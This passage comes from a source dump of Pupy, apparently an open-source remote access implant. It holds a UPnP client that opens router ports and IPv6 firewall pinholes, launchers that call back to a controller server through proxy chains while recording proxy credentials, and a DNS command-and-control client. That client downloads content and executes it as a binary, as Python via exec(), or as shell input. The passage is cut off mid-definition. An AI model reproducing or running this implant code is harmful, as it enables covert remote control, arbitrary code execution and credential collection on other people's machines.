cun = e.find('device:controlURL', self.NS).text\n                    self.ctrlURL = baseURL + cun\n                    break\n\n        if self.debug:\n            print(\"control URL is \", self.ctrlURL)\n\n    def AddPortMapping(self, extPort, proto, intPort, enabled=1, duration=0, intIP=None, desc='', remoteHost=''):\n        upnp_method = 'AddPortMapping'\n\n        if netaddr.IPAddress(intIP).is_reserved():\n            intIP = self.intIP\n\n        sendArgs = {\n            'NewPortMappingDescription': (desc, 'string'),\n            'NewLeaseDuration': (duration, 'ui4'),\n            'NewInternalClient': (intIP, 'string'),\n            'NewEnabled': (enabled, 'boolean'),\n            'NewExternalPort': (extPort, 'ui2'),\n            'NewRemoteHost': (remoteHost, 'string'),\n            'NewProtocol': (proto, 'string'),\n            'NewInternalPort': (intPort, 'ui2')\n        }\n\n        self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL, upnp_method, sendArgs\n        )\n\n    def DeletePortMapping(self, extPort, proto, remoteHost=''):\n        upnp_method = 'DeletePortMapping'\n        sendArgs = {\n            'NewExternalPort': (extPort, 'ui2'),\n            'NewRemoteHost': (remoteHost, 'string'),\n            'NewProtocol': (proto, 'string')\n        }\n\n        self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL, upnp_method, sendArgs\n        )\n\n    def GetExternalIP(self):\n        upnp_method = 'GetExternalIPAddress'\n        sendArgs = {}\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL, upnp_method, sendArgs\n        )\n\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"NewExternalIPAddress\"\n            ])\n\n    def GetGenericPortMappingEntryAll(self):\n        index = 0\n        items = []\n        while True:\n            try:\n                items.append(self.GetGenericPortMappingEntry(index))\n            except:\n                break\n\n            index += 1\n\n        return items\n\n    def GetGenericPortMappingEntry(self, index=None, hideErr=False):\n        if index is None:\n            return self.GetGenericPortMappingEntryAll()\n\n        upnp_method = 'GetGenericPortMappingEntry'\n        sendArgs = {\n            'NewPortMappingIndex': (index, 'ui4'),\n        }\n\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL, upnp_method, sendArgs, hideErr=hideErr\n        )\n\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"NewExternalPort\", \"NewRemoteHost\",\n                \"NewProtocol\", \"NewInternalPort\",\n                \"NewInternalClient\", \"NewPortMappingDescription\",\n                \"NewLeaseDuration\", \"NewEnabled\"\n            ])\n\n    def GetSpecificPortMappingEntry(self, extPort, proto, remote):\n        upnp_method = 'GetSpecificPortMappingEntry'\n        sendArgs = {\n            'NewExternalPort': (extPort, 'ui2'),\n            'NewRemoteHost': (remote, 'string'),\n            'NewProtocol': (proto, 'string'),\n        }\n\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL, upnp_method, sendArgs\n        )\n\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"NewInternalPort\",\n                \"NewInternalClient\", \"NewPortMappingDescription\",\n                \"NewLeaseDuration\", \"NewEnabled\"\n            ])\n\n    def GetNATRSIPStatus(self):\n        upnp_method = 'GetNATRSIPStatus'\n        sendArgs = {}\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"NewRSIPAvailable\",\n                \"NewNATEnabled\",\n            ])\n\n    def GetWarnDisconnectDelay(self):\n        upnp_method = 'GetWarnDisconnectDelay'\n        sendArgs = {}\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"NewWarnDisconnectDelay\",\n            ])\n\n    def GetIdleDisconnectTime(self):\n        upnp_method = 'GetIdleDisconnectTime'\n        sendArgs = {}\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"NewIdleDisconnectTime\",\n            ])\n\n    def GetAutoDisconnectTime(self):\n        upnp_method = 'GetAutoDisconnectTime'\n        sendArgs = {}\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"NewAutoDisconnectTime\",\n            ])\n\n    def GetStatusInfo(self):\n        upnp_method = 'GetStatusInfo'\n        sendArgs = {}\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"NewConnectionStatus\",\n                \"NewLastConnectionError\",\n                \"NewUptime\"\n            ])\n\n    def SetWarnDisconnectDelay(self, delay):\n        upnp_method = 'SetWarnDisconnectDelay'\n        sendArgs = {\n            'NewWarnDisconnectDelay': (delay, 'ui4'),\n        }\n\n        self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL, upnp_method, sendArgs\n        )\n\n    def SetIdleDisconnectTime(self, disconnect_time):\n        upnp_method = 'SetIdleDisconnectTime'\n        sendArgs = {\n            'NewIdleDisconnectTime': (disconnect_time, 'ui4'),\n        }\n\n        self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL, upnp_method, sendArgs\n        )\n\n    def SetAutoDisconnectTime(self, disconnect_time):\n        upnp_method = 'SetAutoDisconnectTime'\n        sendArgs = {\n            'NewAutoDisconnectTime': (disconnect_time, 'ui4'),\n        }\n\n        self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL, upnp_method, sendArgs\n        )\n\n    def ForceTermination(self):\n        upnp_method = 'ForceTermination'\n        sendArgs = {}\n        self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL, upnp_method, sendArgs\n        )\n\n    def RequestTermination(self):\n        upnp_method = 'RequestTermination'\n        sendArgs = {}\n        self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n\n    def RequestConnection(self):\n        upnp_method = 'RequestConnection'\n        sendArgs = {}\n        self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n\n    def GetConnectionTypeInfo(self):\n        upnp_method = 'GetConnectionTypeInfo'\n        sendArgs = {}\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"NewConnectionType\",\n                \"NewPossibleConnectionTypes\", ])\n\n    def SetConnectionType(self, ctype):\n        upnp_method = 'SetConnectionType'\n        sendArgs = {\n            'NewConnectionType': (ctype, 'string'),\n        }\n        self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPConnection:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n\n    def customAction(self, method_name, in_args={}, svc='WANIPConnection'):\n        \"\"\"\n        this is for the vendor specific action\n        in_args is a dict,\n        svc is the IGD service,\n        the format is :\n            key is the argument name\n            value is a two element list, 1st one is the value of arguement, 2nd\n            is the UPnP data type defined in the spec. following is an example:\n            {'NewPortMappingIndex': [0, 'ui4'],}\n\n        \"\"\"\n        upnp_method = method_name\n        sendArgs = dict(in_args)\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:{svc}:1'.format(\n                svc=svc),\n            self.ctrlURL,\n            upnp_method,\n            sendArgs\n        )\n\n        return resp_xml\n\n    def sendSOAP(self, hostName, serviceType, controlURL, actionName,\n                 actionArguments, hideErr=False):\n        \"\"\"\n        send a SOAP request and get the response\n        \"\"\"\n        argList = ''\n\n        if not controlURL:\n            self.discovery()\n\n        # Create a string containing all of the SOAP action's arguments and\n        # values\n        for arg in actionArguments:\n            val, dt = actionArguments[arg]\n            argList += '<%s>%s</%s>' % (arg, val, arg)\n\n        # Create the SOAP request\n        soapBody = '<?xml version=\"1.0\"?>' \\\n          '<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" ' \\\n          'SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">' \\\n          '<SOAP-ENV:Body>' \\\n          '<m:{} xmlns:m=\"{}\">' \\\n          '{}' \\\n          '</m:{}>' \\\n          '</SOAP-ENV:Body>' \\\n          '</SOAP-ENV:Envelope>'.format(\n              actionName,\n              serviceType,\n              argList,\n              actionName\n        ).encode('ascii')\n\n        try:\n            response = urlopen(\n                Request(controlURL, soapBody, {\n                    b'Content-Type': b'text/xml',\n                    b'SOAPAction': serviceType.encode(\n                        'ascii') + b'#' + actionName.encode('ascii')\n                }))\n        except HTTPError as e:\n            err_code, err_desc = self._parseErrMsg(e.read())\n            raise UPNPError(e.code, err_code, err_desc)\n\n        return response.read()\n\n    # following are for IP6FWControl\n    def GetFWStatus(self):\n        upnp_method = 'GetFirewallStatus'\n        sendArgs = {}\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"FirewallEnabled\", \"InboundPinholeAllowed\"])\n\n    def AddPinhole(\n            self,\n            iclient,\n            rhost=\"\",\n            rport=0,\n            iport=0,\n            proto=65535,\n            leasetime=3600):\n        upnp_method = \"AddPinhole\"\n        pid = getProtoId(proto)\n        if not pid:\n            print(proto, \" is not a supported protocol\")\n            return\n        sendArgs = {\n            \"RemoteHost\": (rhost, 'string'),\n            \"RemotePort\": (rport, 'ui2'),\n            \"InternalClient\": (iclient, 'string'),\n            \"InternalPort\": (iport, 'ui2'),\n            \"Protocol\": (pid, 'ui2'),\n            \"LeaseTime\": (leasetime, 'ui4'),\n        }\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"UniqueID\", ])\n\n    def GetPinholeTimeout(\n            self,\n            iclient=\"\",\n            rhost=\"\",\n            rport=0,\n            iport=0,\n            proto=65535):\n        upnp_method = \"GetOutboundPinholeTimeout\"\n        pid = getProtoId(proto)\n        if not pid:\n            print(proto, \" is not a supported protocol\")\n            return\n        sendArgs = {\n            \"RemoteHost\": (rhost, 'string'),\n            \"RemotePort\": (rport, 'ui2'),\n            \"InternalClient\": (iclient, 'string'),\n            \"InternalPort\": (iport, 'ui2'),\n            \"Protocol\": (pid, 'ui2'),\n        }\n\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"OutboundPinholeTimeout\",\n            ])\n\n    def UpdatePinhole(self, uid, lease):\n        upnp_method = \"UpdatePinhole\"\n        sendArgs = {\n            \"UniqueID\": (uid, 'ui2'),\n            \"NewLeaseTime\": (lease, 'ui4'),\n        }\n        self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs\n        )\n\n    def DelPinhole(self, uid):\n        upnp_method = \"DeletePinhole\"\n        sendArgs = {\n            \"UniqueID\": (uid, 'ui2'),\n        }\n        self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs\n        )\n\n    def GetPinholePkts(self, uid):\n        upnp_method = \"GetPinholePackets\"\n        sendArgs = {\n            \"UniqueID\": (uid, 'ui2'),\n        }\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"PinholePackets\",\n            ])\n\n    def CheckPinhole(self, uid):\n        upnp_method = \"CheckPinholeWorking\"\n        sendArgs = {\n            \"UniqueID\": (uid, 'ui2'),\n        }\n        resp_xml = self.sendSOAP(\n            self.pr.netloc,\n            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',\n            self.ctrlURL,\n            upnp_method,\n            sendArgs)\n        if resp_xml:\n            return self._get1stTagText(resp_xml, [\n                \"IsWorking\",\n            ])\n"
  },
  {
    "path": "pupy/network/lib/launchers/__init__.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.network.lib import getLogger as topGetLogger\n\nlogger = topGetLogger('launcher')\n\ndef getLogger(name):\n    return logger.getChild(name)\n\n\n__all__ = ('getLogger',)\n"
  },
  {
    "path": "pupy/network/lib/launchers/auto_proxy.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root\n# of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ['AutoProxyLauncher']\n\nimport argparse\n\nfrom pupy.network.lib.utils import (\n    parse_transports_args,\n    create_client_transport_info_for_addr,\n    parse_host\n)\n\nfrom pupy.network.lib.base_launcher import (\n    BaseLauncher, LauncherArgumentParser, LauncherError\n)\n\nfrom pupy.network.lib.proxies import (\n    find_proxies_for_transport, connect_client_with_proxy_info\n)\n\nfrom pupy.network.lib.socks import ProxyError\nfrom pupy.network.lib.netcreds import add_cred\n\nfrom pupy.network.conf import transports\n\nfrom . import getLogger\n\nlogger = getLogger('auto_proxy')\n\n\nclass AutoProxyLauncher(BaseLauncher):\n    '''\n    Communicate to server via proxy or chain of proxies\n    '''\n\n    name = 'auto_proxy'\n    credentials = ['SSL_BIND_CERT']\n\n    __slots__ = (\n        'args', 'hosts', 'connect_on_bind_payload', 'opt_args'\n    )\n\n    def __init__(self, *args, **kwargs):\n        self.connect_on_bind_payload = kwargs.pop('connect_on_bind_payload', False)\n        super(AutoProxyLauncher, self).__init__(*args, **kwargs)\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = LauncherArgumentParser(prog=\"auto_proxy\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            '-c', '--host', metavar='<host:port>', required=True, action='append',\n            help='host:port of the pupy server to connect to. You can provide multiple '\n            '--host arguments to attempt to connect to multiple IPs')\n        cls.arg_parser.add_argument(\n            '-t', '--transport', choices=transports, default='ssl',\n            help='The transport to use')\n        cls.arg_parser.add_argument(\n            '-P', '--no-wpad', action='store_true', default=False,\n            help='Disable WPAD autodetection')\n        cls.arg_parser.add_argument(\n            '-A', '--no-auto', action='store_true', default=False,\n            help='Disable automatic search for proxies')\n        cls.arg_parser.add_argument(\n            '-D', '--no-direct', action='store_true', default=False,\n            help='Do not attempt to connect without a proxy')\n        cls.arg_parser.add_argument(\n            '-L', '--try-lan-proxy', action='append',\n            help='Try to communicate with WAN using sepcified proxy: '\n            'TYPE:host:port (SOCKS5:192.168.0.1:1080)')\n        cls.arg_parser.add_argument(\n            '-W', '--add-wan-proxy', action='append',\n            help='Add proxy to chain of proxies to communicate with pupy server: '\n            'TYPE:host:port (SOCKS5:192.168.0.1:1080)')\n        cls.arg_parser.add_argument(\n            'transport_args', nargs=argparse.REMAINDER,\n            help='Transport arguments: key=value key=value ...')\n\n    def parse_args(self, args):\n        super(AutoProxyLauncher, self).parse_args(args)\n\n        self.opt_args = parse_transports_args(self.args.transport_args)\n        self.hosts = [\n            parse_host(host) for host in self.args.host\n        ]\n\n    def connect_to_host(self, host_info):\n        logger.info('connecting to %s:%d (hostname=%s) using transport %s ...',\n            host_info.host, host_info.port, host_info.hostname, self.args.transport)\n\n        transport_info = create_client_transport_info_for_addr(\n            self.args.transport, host_info,\n            self.opt_args, self.connect_on_bind_payload\n        )\n\n        logger.info('using client options: %s', transport_info.client_args)\n        logger.info('using transports options: %s', transport_info.transport_args)\n\n        proposed_proxy_infos = find_proxies_for_transport(\n            transport_info, host_info,\n            lan_proxies=self.args.try_lan_proxy,\n            wan_proxies=self.args.add_wan_proxy,\n            auto=not self.args.no_auto,\n            wpad=not self.args.no_wpad,\n            direct=not self.args.no_direct\n        )\n\n        for proxy_info in proposed_proxy_infos:\n            try:\n                connection = connect_client_with_proxy_info(\n                    transport_info, proxy_info)\n\n                # Add to netcreds\n                if proxy_info.chain:\n                    for proxy in proxy_info.chain:\n                        if not (proxy.username and proxy.password):\n                            continue\n\n                        schema = proxy.type.lower()\n                        hostname, port = proxy.addr.split(':')\n                        add_cred(proxy.username, proxy.password, True, schema, hostname, None, port)\n\n                self.set_connection_info(\n                    host_info.hostname, host_info.host,\n                    host_info.port, proxy_info.chain,\n                    self.args.transport\n                )\n\n                yield connection\n\n                self.reset_connection_info()\n\n            except (ProxyError, EOFError) as e:\n                logger.info(\n                    'Connection to %s:%d using %s failed: %s',\n                    host_info.host, host_info.port, proxy_info.chain, e\n                )\n            except Exception as e:\n                logger.exception(e)\n\n    def iterate(self):\n        if self.args is None:\n            raise LauncherError('parse_args needs to be called before iterate')\n\n        for host_info in self.hosts:\n            streams_iterator = self.connect_to_host(host_info)\n\n            while True:\n                try:\n                    stream = next(streams_iterator)\n                    yield stream\n                    if not stream.failed:\n                        logger.info('Successful attempt')\n                        break\n\n                except EOFError as e:\n                    logger.info('Connection closed: %s', e)\n\n                except StopIteration:\n                    break\n\n                except Exception as e:\n                    logger.exception(e)\n"
  },
  {
    "path": "pupy/network/lib/launchers/bind.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = ['BindLauncher']\n\nimport logging\nimport argparse\n\nfrom pupy.network.lib import utils\nfrom pupy.network.conf import transports\n\nfrom ..base_launcher import BaseLauncher, LauncherArgumentParser, LauncherError\n\n\nclass BindLauncher(BaseLauncher):\n    \"\"\" start a simple bind launcher with the specified transport \"\"\"\n\n    name = 'bind'\n    credentials = ['BIND_PAYLOADS_PASSWORD']\n\n    __slots__ = ('args', 'rhost', 'rport')\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = LauncherArgumentParser(prog=\"bind\", description=cls.__doc__)\n        cls.arg_parser.add_argument('--port', metavar='<port>', type=int, required=True, help='the port to bind on')\n        cls.arg_parser.add_argument('--host', metavar='<ip>', default='0.0.0.0', help='the ip to listen on (default 0.0.0.0)')\n        cls.arg_parser.add_argument('--oneliner-host', metavar='<ip>', help='the ip of the target (for ps1_oneliner launcher only)')\n        cls.arg_parser.add_argument('-t', '--transport', choices=transports, default=\"ssl\", help=\"the transport to use ! (the pupysh.sh --connect will need to be configured with the same transport) \")\n        cls.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help=\"change some transport arguments\")\n\n    def parse_args(self, args):\n        self.args = self.arg_parser.parse_args(args)\n\n    def iterate(self):\n        if self.args is None:\n            raise LauncherError(\"parse_args needs to be called before iterate\")\n\n        logging.info(\"binding on %s:%s using transport %s ...\"%(self.args.host, self.args.port, self.args.transport))\n        opt_args = utils.parse_transports_args(' '.join(self.args.transport_args))\n        t = transports[self.args.transport](bind_payload=True)\n\n        transport_kwargs = t.server_transport_kwargs\n        for val in opt_args:\n            if val.lower() in t.server_transport_kwargs:\n                transport_kwargs[val.lower()]=opt_args[val]\n            else:\n                logging.warning(\"unknown transport argument : %s\"%val)\n\n        t.parse_args(transport_kwargs)\n        logging.info(\"using transports options: %s\"%transport_kwargs)\n        if t.authenticator:\n            authenticator = t.authenticator()\n        else:\n            authenticator = None\n\n        self.set_connection_info(\n            None, self.args.host, self.args.port,\n            None, self.args.transport\n        )\n\n        yield (\n            t.server, self.args.port, self.args.host,\n            authenticator, t.stream, t.server_transport,\n            transport_kwargs\n        )\n\n        self.reset_connection_info()\n"
  },
  {
    "path": "pupy/network/lib/launchers/connect.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root\n# of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ['ConnectLauncher']\n\nimport argparse\n\nfrom pupy.network.lib.utils import (\n    parse_transports_args,\n    create_client_transport_info_for_addr,\n    parse_host\n)\n\nfrom pupy.network.lib.base_launcher import (\n    LauncherError, LauncherArgumentParser, BaseLauncher\n)\n\nfrom pupy.network.conf import transports\n\n\nfrom . import getLogger\n\nlogger = getLogger('connect')\n\n\nclass ConnectLauncher(BaseLauncher):\n    \"\"\" simple launcher that uses TCP connect with a chosen transport \"\"\"\n\n    name = 'connect'\n    credentials = ['SSL_BIND_CERT']\n\n    __slots__ = (\n        'args', 'hosts', 'connect_on_bind_payload', 'opt_args'\n    )\n\n    def __init__(self, *args, **kwargs):\n        self.connect_on_bind_payload = kwargs.pop(\n            'connect_on_bind_payload', False)\n        super(ConnectLauncher, self).__init__(*args, **kwargs)\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = LauncherArgumentParser(\n            prog=\"connect\", description=cls.__doc__\n        )\n        cls.arg_parser.add_argument(\n            '-c', '--host', metavar='<host:port>', required=True,\n            action='append', help='host:port of the pupy server to '\n            'connect to. You can provide multiple --host arguments '\n            'to attempt to connect to multiple IPs'\n        )\n        cls.arg_parser.add_argument(\n            '-t', '--transport', choices=transports, default=\"ssl\",\n            help='The transport to use'\n        )\n        cls.arg_parser.add_argument(\n            'transport_args', nargs=argparse.REMAINDER,\n            help='Transport arguments: key=value key=value ...'\n        )\n\n    def parse_args(self, args):\n        super(ConnectLauncher, self).parse_args(args)\n\n        self.opt_args = parse_transports_args(self.args.transport_args)\n        self.hosts = [\n            parse_host(host) for host in self.args.host\n        ]\n\n    def iterate(self):\n        if self.args is None:\n            raise LauncherError('parse_args needs to be called before iterate')\n\n        for host_info in self.hosts:\n            try:\n                yield self.connect_to_host(host_info)\n                self.reset_connection_info()\n\n            except EOFError as e:\n                logger.info('Connection closed: %s', e)\n\n            except Exception as e:\n                logger.exception(e)\n\n    def connect_to_host(self, host_info):\n        logger.info(\n            'connecting to %s:%d using transport %s ...',\n            host_info.host, host_info.port, self.args.transport\n        )\n\n        info = create_client_transport_info_for_addr(\n            self.args.transport, host_info,\n            self.opt_args, self.connect_on_bind_payload\n        )\n\n        logger.info('using client options: %s', info.client_args)\n        logger.info('using transports options: %s', info.transport_args)\n\n        info.transport.parse_args(info.transport_args)\n\n        client = info.transport.client(**info.client_args)\n\n        sock = client.connect(host_info.host, host_info.port)\n        stream = info.transport.stream(\n            sock,\n            info.transport.client_transport,\n            info.transport_args)\n\n        self.set_connection_info(\n            host_info.hostname, host_info.host, host_info.port,\n            None, self.args.transport\n        )\n\n        return stream\n"
  },
  {
    "path": "pupy/network/lib/launchers/dnscnc.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2016, Oleksii Shevchuk (alxchk@gmail.com)\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ['DNSCommandClientLauncher']\n\nfrom ..base_launcher import BaseLauncher, LauncherArgumentParser, LauncherError\nfrom ..picocmd.client import DnsCommandsClient\nfrom ..picocmd.picocmd import ConnectablePort, OnlineStatus, PortQuizPort\n\nfrom ..proxies import find_proxies_for_transport, connect_client_with_proxy_info\nfrom ..utils import create_client_transport_info_for_addr, HostInfo\n\nfrom ..socks import ProxyError\n\nfrom ..online import PortQuiz, check\nfrom ..scan import scan\n\nfrom threading import Thread, Lock\n\nfrom time import sleep\n\nimport sys\nimport socket\nimport os\n\nimport subprocess\n\nimport tempfile\nimport platform\n\nimport pupy\nfrom pupy.network.lib import getLogger\n\nlogger = getLogger('dnscnc')\n\nif sys.version_info.major > 2:\n    xrange = range\n\n\nclass DNSCommandClientLauncher(DnsCommandsClient):\n    def __init__(self, domain, doh=False, ns=None, qtype=None, ns_timeout=3):\n        self.stream = None\n        self.commands = []\n        self.lock = Lock()\n        self.doh = doh\n\n        try:\n            import pupy_credentials\n            key = pupy_credentials.DNSCNC_PUB_KEY_V2\n        except ImportError:\n            from pupy.pupylib.PupyCredentials import Credentials\n            credentials = Credentials()\n            key = credentials['DNSCNC_PUB_KEY_V2']\n\n        DnsCommandsClient.__init__(\n            self, domain, key, doh, ns, qtype, ns_timeout=ns_timeout\n        )\n\n    def on_session_established(self):\n        pupy.client.set_info('spi', '{:08x}'.format(self.spi))\n\n    def on_session_lost(self):\n        pupy.client.unset_info('spi')\n\n    def on_downloadexec_content(self, url, action, content):\n        self.on_pastelink_content(url, action, content)\n\n    def on_pastelink_content(self, url, action, content):\n        if action.startswith('exec'):\n            tmp_path = None\n\n            try:\n                fd, tmp_path = tempfile.mkstemp()\n                tmp = os.fdopen(fd, 'wb')\n                tmp.write(content)\n                tmp.close()\n\n                if not platform.system == 'Windows':\n                    os.chmod(tmp_path, 0o700)\n\n                os.system(tmp_path)\n\n            except Exception as e:\n                logger.exception(e)\n\n            finally:\n                if tmp_path:\n                    os.unlink(tmp_path)\n\n        elif action.startswith('pyexec'):\n            try:\n                exec(content)\n            except Exception as e:\n                logger.exception(e)\n        elif action.startswith('sh'):\n            try:\n                pipe = None\n                if platform.system == 'Windows':\n                    kwargs = {\n                        'stdin': subprocess.PIPE\n                    }\n\n                    if hasattr(subprocess, 'STARTUPINFO'):\n                        startupinfo = subprocess.STARTUPINFO()\n                        startupinfo.dwFlags |= \\\n                          subprocess.CREATE_NEW_CONSOLE | \\\n                          subprocess.STARTF_USESHOWWINDOW\n\n                        kwargs.update({\n                            'startupinfo': startupinfo,\n                        })\n\n                    pipe = subprocess.Popen('cmd.exe', **kwargs)\n                else:\n                    pipe = subprocess.Popen(['/bin/sh'], stdin=subprocess.PIPE)\n\n                pipe.stdin.write(content)\n                pipe.stdin.close()\n                pipe.communicate()\n\n            except Exception as e:\n                logger.exception(e)\n\n    def _checkconnect_worker(self, host, port_start, port_end):\n        ports = xrange(port_start, port_end+1)\n        connectable = scan([str(host)], ports)\n        while connectable:\n            chunk = [x[1] for x in connectable[:5]]\n            connectable = connectable[5:]\n            self.event(ConnectablePort(host, chunk))\n\n    def on_checkconnect(self, host, port_start, port_end):\n        worker = Thread(target=self._checkconnect_worker, args=(\n            host, port_start, port_end))\n        worker.daemon = True\n        worker.start()\n\n    def _checkonline_worker(self):\n        logger.debug('CheckOnline worker started')\n        portquiz = PortQuiz()\n        portquiz.start()\n\n        try:\n            offset, mintime, register = check()\n            logger.debug('OnlineStatus completed: %04x %04x %08x',\n                offset, mintime, register)\n            self.event(OnlineStatus(offset, mintime, register))\n        except Exception as e:\n            logger.exception('Online status check failed: %s', e)\n\n        logger.debug('Wait for PortQuiz completion')\n        portquiz.join()\n        logger.debug('PortQuiz completed')\n\n        try:\n            if portquiz.available:\n                self.event(PortQuizPort(portquiz.available[:8]))\n        except Exception as e:\n            logger.exception(e)\n\n        logger.debug('CheckOnline worker completed')\n\n    def on_checkonline(self):\n        worker = Thread(target=self._checkonline_worker)\n        worker.daemon = True\n        worker.start()\n\n    def on_connect(self, address, port, transport, proxy, hostname=None):\n        logger.debug(\n            'connect request: %s:%s %s %s%s',\n            address, port, transport, proxy, (' host=' + hostname) if hostname else ''\n        )\n\n        with self.lock:\n            if self.stream and not self.stream.closed:\n                logger.debug('ignoring connection request. stream = %s', self.stream)\n                return\n\n            self.commands.append(('connect', address, port, transport, proxy, hostname))\n\n    def on_disconnect(self):\n        logger.debug('disconnect request [stream=%s]', self.stream)\n        with self.lock:\n            if self.stream:\n                self.stream.close()\n                self.stream = None\n\n    def on_exit(self):\n        with self.lock:\n            if self.stream:\n                self.stream.close()\n\n        os._exit(0)\n\n\nclass DNSCncLauncher(BaseLauncher):\n    ''' Micro command protocol built over DNS infrastructure '''\n\n    __slots__ = (\n        'connect_on_bind_payload', 'dnscnc', 'exited', 'doh',\n        'ns', 'ns_timeout', 'qtype', 'pupy'\n    )\n\n    name = 'dnscnc'\n    credentials = ['DNSCNC_PUB_KEY_V2']\n\n    def __init__(self, *args, 